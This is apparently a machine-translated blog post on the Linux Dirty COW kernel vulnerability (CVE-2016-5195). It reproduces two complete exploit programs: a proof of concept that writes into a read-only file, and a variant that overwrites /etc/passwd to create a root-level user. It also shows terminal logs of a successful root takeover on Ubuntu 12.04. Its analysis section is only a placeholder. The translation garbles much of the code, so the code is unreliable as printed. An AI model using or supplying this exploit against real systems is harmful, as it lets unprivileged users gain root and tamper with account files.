cve-2016-5195 Dirtycow:linux kernel power-up vulnerability
The following are the source code found on GitHub, and then the experiment was successful on ubuntu-12.04.5-desktop-i386.
Run the following identify vulnerability first:
/*####################### dirtyc0w.c #######################$ sudo-s# echo This was not a test > foo# chmod 0404 foo$ L S-lah foo-r-----r--1 root root (Oct) 15:23 foo$ cat foothis is not a test$ gcc-pthread dirtyc0w.c-o dirtyc0w$./di rtyc0w foo m00000000000000000mmap 56123000madvise 0procselfmem 1800000000$ Cat foom00000000000000000 correct output Last value indicates that the vulnerability exists (above two is the command that runs with root privilege) ####################### dirtyc0w.c #######################* /#include <stdio.h> #include <sys/mman.h> #include <fcntl.h> #include <pthread.h> #include < unistd.h> #include <sys/stat.h> #include <string.h> #include <stdint.h>void *map;int f;struct stat St;char *name; void *madvisethread (void *arg) {char *str; Str= (char*) arg; int i,c=0; for (i=0;i<100000000;i++) {/*you has to race madvise (madv_dontneed)::https://access.redhat.com/security/vulnerabilities/2706661> This was achieved by racing the Madvise (madv_dontneed) system call> while having the page of the executable mmapped In memory.*/c+=madvise (map,100,madv_dontneed); } printf ("Madvise%d\n\n", c);} void *procselfmemthread (void *arg) {char *str; Str= (char*) arg;/*you has to write To/proc/self/mem::https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16 > The In the wild exploit we is aware of doesn ' t work on Red hat> Enterprise Linux 5 and 6 out of the box bec Ause on one side of> the race it writes To/proc/self/mem, But/proc/self/mem are not> writable on Red Hat Enterpri Se Linux 5 and 6.*/int F=open ("/proc/self/mem", O_RDWR); int i,c=0; for (i=0;i<100000000;i++) {/*you has to reset the file pointer to the memory position.*/Lseek (f, (uintptr_t) Map,see K_set); C+=write (F,str,strlen (str)); } printf ("Procselfmem%d\n\n", c);} int main (int argc,char *argv[]) {/*you has to pass the arguments. File and contents.*/if (argc<3) {(void) fprintf (stderr, "%s\n", "usage:dirtyc0w target_file new_content"); return 1; } pthread_t Pth1,pth2;/*you has the to open the file in Read only mode.*/F=open (argv[1],o_rdonly); Fstat (F,&ST); Name=argv[1];/*you has the use of map_private for Copy-on-write mapping.> Create a PRIVATE copy-on-write mapping. Updates to the> mapping is not visible to other PROcesses Mapping the Same> file, and is not carried through to the underlying file. It> is unspecified whether changes made to the file after the> mmap () call be visible in the mapped region.*//*you Has to open with prot_read.*/Map=mmap (null,st.st_size,prot_read,map_private,f,0); printf ("Mmap%zx\n\n", (uintptr_t) map);/*you has to does it on the threads.*/pthread_create (&pth1,null,madvisethread , argv[1]); Pthread_create (&pth2,null,procselfmemthread,argv[2]);/*you has to wait for the threads to finish.*/pthread_join ( Pth1,null); Pthread_join (Pth2,null); return 0;}
Exploit Source:
This exploit uses the Pokemon exploit of the Dirtycow vulnerability//as a base and automatically generates a new PAS SWD line.//The user would be prompted for the new password if the binary is run.//the original/etc/passwd file was then Backed up to/tmp/passwd.bak//and overwrites the root account with the generated line.//after running the exploit your s Hould be able to login with the newly//created user.////to use this exploit modify the user values according to your nee ds.//The default is "Firefart".////Original Exploit (dirtycow ' s Ptrace_pokedata "Pokemon" method)://https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.cCompile with://gcc-pthread Dirty.c-o dirty-lcrypt////then run the newly create binary by either doing://". Dirty "or"./dirty My-new-password "////Afterwards, you can either" Su firefart "or" ssh [email protected] "////DON ' T forg ET to RESTORE your/etc/passwd after RUNNING the exploit!//mv/tmp/passwd.bak/etc/passwd////EXPLOIT adopted by Christ Ian "Firefart" mehlmauer//https://firefart.at$ gcc-pthread dirty.c-o dirty-lcrypt//$./dirty Test (test is password)//$ su Firefart (can be entered in the test password)//After the ordinary user runs the above command, Firefart User becomes root, original root does not exist # include <fcntl.h> #include <pthread.h> #include <string.h> #include <stdio.h > #include <stdint.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/stat.h># Include <sys/wait.h> #include <sys/ptrace.h> #include <stdlib.h> #include <unistd.h> #include <crypt.h>const char *filename = "/etc/passwd"; const char *backup_filename = "/tmp/passwd.bak"; const char *salt = "fi Refart "; int f;void *map;pid_t pid;pthread_t pth;struct stat st;struct Userinfo {char *username; Char *hash; int user_id; int group_id; Char *info; Char *home_dir; char *shell;}; Char *generate_password_hash (char *plaintext_pw) {return crypt (PLAINTEXT_PW, salt);} Char *generate_passwd_line (struct Userinfo u) {const char *format = "%s:%s:%d:%d:%s:%s:%s\n"; int size = snprintf (NULL, 0, format, u.useRname, U.hash, u.user_id, u.group_id, U.info, U.home_dir, U.shell); Char *ret = malloc (size + 1); sprintf (ret, format, U.username, U.hash, u.user_id, u.group_id, U.info, U.home_dir, U.shell); return ret;} void *madvisethread (void *arg) {int I, c = 0; for (i = 0; i < 200000000; i++) {c + = Madvise (map, madv_dontneed); } printf ("Madvise%d\n\n", c);} int copy_file (const char *from, const char *to) {//check if target file already exists if (access (to, F_OK)! =-1) { printf ("File%s already exists! Please delete the IT and run Again\n ", to); return-1; } char ch; FILE *source, *target; Source = fopen (from, "R"); if (Source = = NULL) {return-1; } target = fopen (To, "w"); if (target = = NULL) {fclose (source); return-1; } while ((ch = fgetc (source))! = EOF) {FPUTC (ch, target); } printf ("%s successfully backed up to%s\n", from, to); Fclose (source); Fclose (target); return 0;} int main (int argc, char *argv[]) {//backup file int ret = copy_file (filename, backup_filename); if (ret! = 0) {exit (ret); } struct Userinfo user; Set values, change as needed user.username = "Firefart"; user.user_id = 0; user.group_id = 0; User.info = "Pwned"; User.home_dir = "/root"; User.shell = "/bin/bash"; Char *PLAINTEXT_PW; if (argc >= 2) {PLAINTEXT_PW = argv[1]; printf ("Please enter the new password:%s\n", PLAINTEXT_PW); } else {PLAINTEXT_PW = Getpass ("Please enter the new password:"); } User.hash = Generate_password_hash (PLAINTEXT_PW); Char *complete_passwd_line = generate_passwd_line (user); printf ("Complete line:\n%s\n", complete_passwd_line); f = open (filename, o_rdonly); Fstat (f, &st); Map = mmap (NULL, st.st_size + sizeof (long), Prot_read, Map_private, F, 0); printf ("Mmap:%lx\n", (unsigned long) map); PID = fork (); if (PID) {waitpid (PID, NULL, 0); int u, I, O, c = 0; int L=strlen (complete_passwd_line); For(i = 0; i < 10000/l; i++) {for (o = 0; o < l; o++) {for (U = 0; u < 10000; u++) {c + = Ptrace (Ptrace_poketext, PID, Map + O, * ((long*) (Complete_passwd_line + O)); }}} printf ("Ptrace%d\n", c); } else {pthread_create (&pth, NULL, madvisethread, NULL); Ptrace (Ptrace_traceme); Kill (Getpid (), SIGSTOP); Pthread_join (Pth,null); } printf ("done! Check%s To see if the new user is created.\n ", filename); printf ("You can log in with the username '%s ' and the password '%s '. \ n", User.username, PLAINTEXT_PW); printf ("\ndon ' T forget to restore! $ mv%s%s\n ", backup_filename, filename); return 0;}
Operation Result:
1, the flaw exists or not:
[email protected]:/home/poc/dirty$ lsdirty.c dirtyc0w.c[email protected]:/home/poc/dirty$ sudo-s [email protected]:/home/poc/dirty# echo This was not a test > foo[email protected]:/home/poc/ dirty# chmod 0404 foo[email protected]:/home/poc/dirty# gcc-pthread dirtyc0w.c-o dirtyc0w[email protected]:/home/poc/ dirty#./dirtyc0w foo m00000000000000000mmap b7741000madvise 0procselfmem 1800000000
[Email protected]:/home/poc/dirty# cat Foo
m00000000000000000
2. Exploit:
[email protected]:/home/poc/dirty# su jin[email protected]:/home/poc/dirty$ gcc-pthread dirty.c-o dirty-lcrypt[ Email protected]:/home/poc/dirty$./dirty Test/ETC/PASSWD successfully backed up to/tmp/passwd.bakplease enter the new Password:testcomplete line:firefart:fi6bS9A.C7 Bdq:0:0:pwned:/root:/bin/bashmmap:b77b8000madvise 0ptrace 0done! CHECK/ETC/PASSWD to see if the new user is created. You can log in with the username ' Firefart ' and the password ' test '. DON ' T forget to restore! $ mv/tmp/passwd.bak/etc/passwddone! CHECK/ETC/PASSWD to see if the new user is created. You can log in with the username ' Firefart ' and the password ' test '. DON ' T forget to restore! $ mv/tmp/passwd.bak/etc/passwd[email protected]:/home/poc/dirty$ suPassword:su:Authentication failure[email protected]:/home/poc/dirty$ sudo suSudo:unknown user:rootsudo:unable to initialize policy plugin[email protected]:/home/poc/dirty$ su FirefartPassword:[email protected]:/home/poc/dirty# IDUid=0 (Firefart) gid=0 (root) groups=0 (root)
Vulnerability Analysis:
。。。。 Occupy the pit (when you are free to write ....) )
cve-2016-5195 Dirtycow:linux kernel power-up vulnerability